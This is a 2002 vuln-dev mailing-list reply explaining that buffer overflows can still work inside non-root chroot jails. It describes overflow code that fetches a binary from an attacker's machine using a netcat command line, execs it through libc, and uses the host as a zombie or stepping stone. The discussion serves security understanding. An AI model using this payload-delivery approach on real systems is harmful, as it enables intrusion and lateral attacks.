Re: OT? Are chroots immune to buffer overflows?

From: Adam Lydick (lydickawat_private)
Date: Wed May 22 2002 - 10:26:44 PDT

  • Next message: joveat_private: "Re: OT? Are chroots immune to buffer overflows?"

    Sure it can. Just have the bootstrap code (the overflow) download a binary 
    from the attacker's machine:
    'nc victim_machine portnum < evilcode'
    
    Then exec the code. All the calls you need are in libc, which is almost 
    certainly loaded by the overflowed program. You have a chrooted, local 
    account that can still be used as a zombie for attacks or masking your true 
    location... (Or as a stepping stone for attacking more powerful accounts / 
    machines on the local network)
    
    Adam
    
    >From: Jason Haar <Jason.Haarat_private>
    >To: vuln-devat_private
    >Subject: OT? Are chroots immune to buffer overflows?
    >Date: Wed, 22 May 2002 15:48:16 +1200
    >
    >[note: my question is WRT non-root chrooted jails - we all know about
    >chroot'ing root processes!]
    >
    >Most buffer overflows I've seen attempt to infiltrate the system enough to
    >run /bin/sh. In chroot'ed environments, /bin/sh doesn't (shouldn't!) exist 
    >-
    >so they fail.
    >
    >Is it as simple as that? As 99.999% of the system binaries aren't available
    >in the jail, can a buffer overflow ever work?
    >
    >--
    >Cheers
    >
    >Jason Haar
    >
    >Information Security Manager
    >Trimble Navigation Ltd.
    >Phone: +64 3 9635 377 Fax: +64 3 9635 417
    
    
    
    
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